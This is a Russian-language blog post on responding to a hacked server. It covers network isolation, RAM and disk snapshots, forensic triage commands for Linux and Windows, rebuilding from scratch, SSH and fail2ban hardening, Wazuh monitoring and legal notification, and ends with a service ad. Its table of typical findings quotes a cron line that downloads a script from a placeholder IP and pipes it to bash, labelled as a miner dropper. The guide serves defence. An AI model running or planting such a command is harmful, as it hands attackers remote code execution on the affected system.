· 17 мин чтения

Что делать если ваш сервер взломали: пошаговый план реакции

Звонок в три ночи. На ваш VPS зашли по SSH из странного IP, web-сайт показывает редиректы на казино, а в почте — письмо с требованием выкупа. Что делать в первые минуты, как не наделать ошибок, как восстановить контроль и не потерять данные. Готовый план реакции с командами и порядком действий.

Я Евгений Семёнов, владелец ITfresh, в IT-инфраструктуре с 2010 года. За 15 лет мне приходилось разбирать десятки взломов — от веб-шеллов на сайтах визиток до полноценных компрометаций корпоративных серверов с шифровальщиками и эксфильтрацией. Этот текст — выжимка моего регулярного брифа для технических директоров клиентов.

Признаки взлома, которые часто игнорируют

"Сервер тормозит" — типовая жалоба, которая в 9 случаях из 10 списывается на нагрузку или диск. На самом деле это может быть процесс майнера или DDoS-агента. Список признаков, после которых нужно расследовать, а не закрывать глаза:

Шаг 1. Изоляция, а не выключение

Главное правило

Не выключайте сервер. Изолируйте его на сетевом уровне. RAM содержит данные, которые потеряются при выключении: открытые ключи, расшифрованные пароли, активные подключения злоумышленника, цепочки процессов.

Изоляция на уровне фаервола

Если у вас VPS — заблокируйте все порты, кроме SSH с вашего IP, через панель управления. У большинства провайдеров (Selectel, Yandex Cloud, Timeweb, RuVDS) это делается за минуту через интерфейс security groups или firewall.

На самом сервере, если есть возможность зайти:

# Linux: разрешить только себя
iptables -I INPUT 1 -s YOUR_HOME_IP -j ACCEPT
iptables -I INPUT 2 -j DROP
iptables -I OUTPUT 1 -d YOUR_HOME_IP -j ACCEPT
iptables -I OUTPUT 2 -j DROP

# Сохранить, чтобы пережили рестарт
iptables-save > /etc/iptables/rules.v4

Для Windows-сервера — аналогично через Windows Firewall:

New-NetFirewallRule -DisplayName "EMERGENCY-block-all-in" `
  -Direction Inbound -Action Block -RemoteAddress Any -Enabled True `
  -Profile Any -Priority 1
New-NetFirewallRule -DisplayName "EMERGENCY-allow-admin-in" `
  -Direction Inbound -Action Allow -RemoteAddress YOUR_HOME_IP `
  -Enabled True -Profile Any -Priority 0

Шаг 2. Снимок памяти и диска

Снимок RAM (Linux)

Используем AVML (Microsoft) или LiME. AVML удобнее — статически линкованный бинарник без зависимостей:

wget https://github.com/microsoft/avml/releases/download/v0.13.0/avml
chmod +x avml
./avml /mnt/external/memory_dump_$(date +%Y%m%d_%H%M).lime

Внешний носитель обязательно — нельзя писать на ту же файловую систему, которую расследуем.

Снимок диска

Для виртуалки в облаке — снапшот средствами провайдера. Для физического сервера — образ через dd с побитовой копией:

# Подключаем внешний диск, например /dev/sdb
dd if=/dev/sda of=/mnt/external/disk.img bs=4M status=progress
sha256sum /mnt/external/disk.img > /mnt/external/disk.img.sha256

Хеш — обязательно, чтобы потом доказать неизменность улики.

Windows

Для памяти — DumpIt или WinPmem. Для диска — снапшот гипервизора или ftk imager. На Hyper-V — checkpoint виртуалки и экспорт vhdx.

Шаг 3. Идентификация вектора и масштаба

Снимки сделаны, теперь думаем. Цель — ответить на пять вопросов:

  1. Когда зашли? (timeline)
  2. Откуда зашли? (вектор: SSH, веб-уязвимость, RDP, фишинг)
  3. Под каким аккаунтом? (root, www-data, конкретный пользователь)
  4. Что сделали? (загрузили файлы, добавили users, запустили процесс, эксфильтрировали данные)
  5. Где они ещё могут быть? (другие серверы, рабочие станции, бэкапы)

Linux: что смотреть

# История shell-команд root и пользователей
cat /root/.bash_history
find /home -name '.bash_history' -exec ls -la {} \; -exec cat {} \;

# Кто и когда логинился
last -F | head -50
lastb | head -50         # неудачные попытки
who                      # активные сессии прямо сейчас

# Аутентификация (ищем подозрительные SSH-сессии)
grep -E "Accepted|Failed" /var/log/auth.log | tail -100
grep "Accepted" /var/log/auth.log | awk '{print $11}' | sort -u

# Активные процессы и сетевые соединения
ps auxf
ss -tunap | grep ESTAB
netstat -tunap | grep LISTEN

# Файлы, изменённые за последние 7 дней
find / -type f -mtime -7 -not -path '/proc/*' -not -path '/sys/*' \
  -not -path '/var/log/*' 2>/dev/null | head -100

# Подозрительные SUID-бинарники (часто следы)
find / -perm -4000 -type f 2>/dev/null

# Crontab и systemd-таймеры
crontab -l
ls -la /etc/cron.* /etc/systemd/system/*.timer
systemctl list-timers --all

# LD_PRELOAD-инжекты
cat /etc/ld.so.preload 2>/dev/null
env | grep LD_

# Скрытые процессы (несовпадение между ps и /proc)
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
  ps -p $pid > /dev/null 2>&1 || echo "Hidden process: $pid"
done

Windows: что смотреть

# Активные сессии и подключения
quser
Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort, OwningProcess

# Журналы безопасности — 4624 (logon), 4625 (failed logon), 4672 (priv assignment)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 100 |
  Where-Object {$_.Properties[8].Value -in 3,10} |  # типы 3 (network), 10 (RemoteInteractive)
  Format-Table TimeCreated, @{n='Account';e={$_.Properties[5].Value}}, @{n='IP';e={$_.Properties[18].Value}}

# Запланированные задачи — частая точка персистенса
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} |
  Where-Object {$_.Author -notmatch 'Microsoft|Windows'}

# Автозагрузка
Get-CimInstance Win32_StartupCommand
Get-Service | Where-Object {$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}

# WMI-подписки (часто скрытый канал персистенса)
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Локальные пользователи и группа администраторов
Get-LocalUser | Format-Table Name, Enabled, LastLogon
Get-LocalGroupMember -Group "Administrators"

Что показывают типовые находки

Что нашлиСкорее всего
Файл /dev/shm/.X11-unix/X0-lock — на самом деле бинарникМайнер Kinsing/Kdevtmpfsi
SSH key в ~root/.ssh/authorized_keys с комментарием на нерусскомBackdoor для возврата
Файл /usr/sbin/smartdns или подобное "системное" имяРеверс-шелл, замаскированный под утилиту
В crontab: * * * * * curl http://X.X.X.X/x.sh | bashCryptominer dropper
Веб-шелл в папке uploads: config.php.suspendedWordPress/Bitrix через уязвимость плагина
Запись в /etc/hosts с подменой mirrors.aliyun.comМалварь подменяет источники для apt/yum
Процесс chattr +i на /etc/passwdЗаблокировали изменения, чтобы вы не могли удалить созданного юзера

Шаг 4. Проверка остальной инфраструктуры

Если зашли на один сервер, велика вероятность бокового движения. Проверьте:

Шаг 5. Восстановление: всегда с нуля

Не лечите взломанный сервер

Соблазн "удалить malware и оставить сервер" огромен. Но почти всегда это ошибка. Вы не можете быть уверены, что нашли все импланты. Атакующий мог положить modified ssh-демон, kernel-модуль или подменённый библиотечный файл, который не светится в обычных проверках. Единственный надёжный путь — переустановка с нуля.

Правильный порядок

  1. Поднимаем чистый сервер на новой ОС с актуальными обновлениями (Debian 12, Ubuntu 24.04 LTS, Windows Server 2022).
  2. Сразу настраиваем базовую защиту: SSH только по ключу, fail2ban, автоматические security updates, минимальный набор пакетов.
  3. Восстанавливаем приложения не из бэкапа артефактов, а из исходников: код из git, БД из дампа, конфигурация из git-репозитория конфигов. Если бэкапов кода нет — клонируем со старого сервера, но проверяем каждый файл по диффу с эталоном.
  4. Файлы пользователей, загруженные после момента взлома, проверяем антивирусом ClamAV, желательно с дополнительными движками через MultiAV или VirusTotal API.
  5. Меняем все пароли, токены, API-ключи, SSL-сертификаты, которые могли утечь.

Шаг 6. Превенция: чтобы не повторилось

После каждого инцидента обязательно проводим post-mortem и закрываем дыры. Минимальный пакет для типового сервера:

SSH-харденинг

# /etc/ssh/sshd_config
Port 22                          # можно сменить на нестандарт, но не надейтесь, что это защитит
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers admin deploy
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
LoginGraceTime 30s
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
UseDNS no
PermitEmptyPasswords no

Fail2ban с агрессивной политикой

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
maxretry = 3
findtime = 600
bantime = 86400      # сутки
backend = systemd

[recidive]
enabled = true
filter = recidive
maxretry = 3
findtime = 86400
bantime = 604800     # неделя для повторных нарушителей

Автоматические обновления

# Debian/Ubuntu
apt install -y unattended-upgrades
dpkg-reconfigure -plow unattended-upgrades

# В /etc/apt/apt.conf.d/50unattended-upgrades:
Unattended-Upgrade::Allowed-Origins {
  "${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "03:30";

Мониторинг и SIEM

Минимально — установка агента Wazuh на все серверы и центральный сервер на отдельной виртуалке. Это даст:

Установка Wazuh agent в одну строку:

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && \
  chmod 644 /usr/share/keyrings/wazuh.gpg && \
  echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee /etc/apt/sources.list.d/wazuh.list && \
  apt update && WAZUH_MANAGER='siem.example.local' apt install wazuh-agent -y

Бэкапы по правилу 3-2-1-1-0

Современная версия классического правила:

Юридическая часть

Малый бизнес часто не знает, что у него есть юридические обязательства при компрометации:

Сводный чек-лист первых 4 часов

ВремяДействие
0:00 — 0:15Подтвердить факт компрометации (минимум 2 признака из списка)
0:15 — 0:30Изолировать сервер на сетевом уровне (НЕ выключать)
0:30 — 1:00Снапшот RAM, снапшот диска, выгрузить логи во внешний носитель
1:00 — 2:00Базовый триаж: процессы, соединения, пользователи, последние изменения
2:00 — 2:30Идентифицировать вектор, выписать IoC (хеши, IP, домены)
2:30 — 3:00Проверить остальную инфраструктуру на те же IoC
3:00 — 3:30Сменить все потенциально утекшие пароли, токены, ключи
3:30 — 4:00Решение: лечить или переустанавливать (почти всегда — переустанавливать)
4:00+Восстановление с чистого образа, накатка приложений, тестирование

Главные мысли

  1. Не выключайте взломанный сервер — изолируйте его на уровне фаервола. Память это улика.
  2. Делайте снапшоты RAM и диска до начала чисток. Без них вы потеряете доказательную базу.
  3. Не лечите взломанный сервер — переустанавливайте. Иначе вы оставляете шанс на возврат.
  4. Меняйте все пароли и токены, к которым у скомпрометированного сервера был доступ. Считайте их публичными.
  5. После инцидента ставьте Wazuh, fail2ban, MFA, иммутабельные бэкапы. Без этого следующий инцидент — вопрос времени.
  6. В первый час позвоните в специализированную команду incident response, если сами не уверены. Час экспертной консультации экономит сутки самокопания.

Бесплатный аудит инфраструктуры от ITfresh

Если вы подозреваете компрометацию или хотите проверить готовность к ней — приду на 2 часа в офис, посмотрю серверы, бэкапы, мониторинг. Пришлю отчёт с приоритетами. Бесплатно для компаний 10-50 рабочих мест в Москве. В критической ситуации беру в работу с заездом в течение суток.

Telegram: @ITfresh_Boss
Телефон: +7 903 729-62-41

Часто задаваемые вопросы

Как понять, что сервер действительно взломан?

Признаки: непонятная нагрузка, неизвестные процессы, новые пользователи, незнакомые публичные IP в исходящих соединениях, изменённые crontab, удалённые логи. Если есть хотя бы один — расследуйте.

Что делать первым делом при подозрении на взлом?

Изолировать машину сетевыми правилами (не выключать), сделать снапшот памяти и диска, начать сбор артефактов. Выключение уничтожает данные в RAM, которые часто содержат ключи злоумышленников.

Можно ли просто переустановить сервер и всё?

Можно, но без расследования вы не узнаете вектор — и это повторится. Минимум: понять, как зашли, проверить другие машины на тот же IoC, сменить все пароли и ключи.

Сколько времени занимает полное расследование?

Для одного сервера в малом бизнесе — от 6 до 24 часов. Если задеты несколько систем или взлом тянулся неделями — 3-7 дней.

Нужно ли заявлять в полицию?

При факте хищения данных, шантажа или ущерба более 5 тыс. рублей — да, через сайт МВД или подразделение К. При утечке ПДн — обязательное уведомление Роскомнадзора в течение 24 часов.